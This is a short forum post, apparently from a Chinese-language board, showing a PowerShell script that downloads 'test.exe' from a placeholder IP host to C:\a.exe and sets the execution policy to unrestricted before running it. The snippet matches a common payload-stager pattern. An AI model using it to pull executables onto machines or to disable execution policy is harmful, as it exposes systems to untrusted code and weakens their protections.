using powershell to download a file

Nalyd 1月前 39

download.ps1

$p = New-Object System.Net.WebClient

$p.DownloadFile("http://IP/test.exe","C:\\a.exe")


run powershell

powershell set-executionpolicy unrestricted

PowerShell -file download.ps1


最新回復 (0)
全部樓主
返回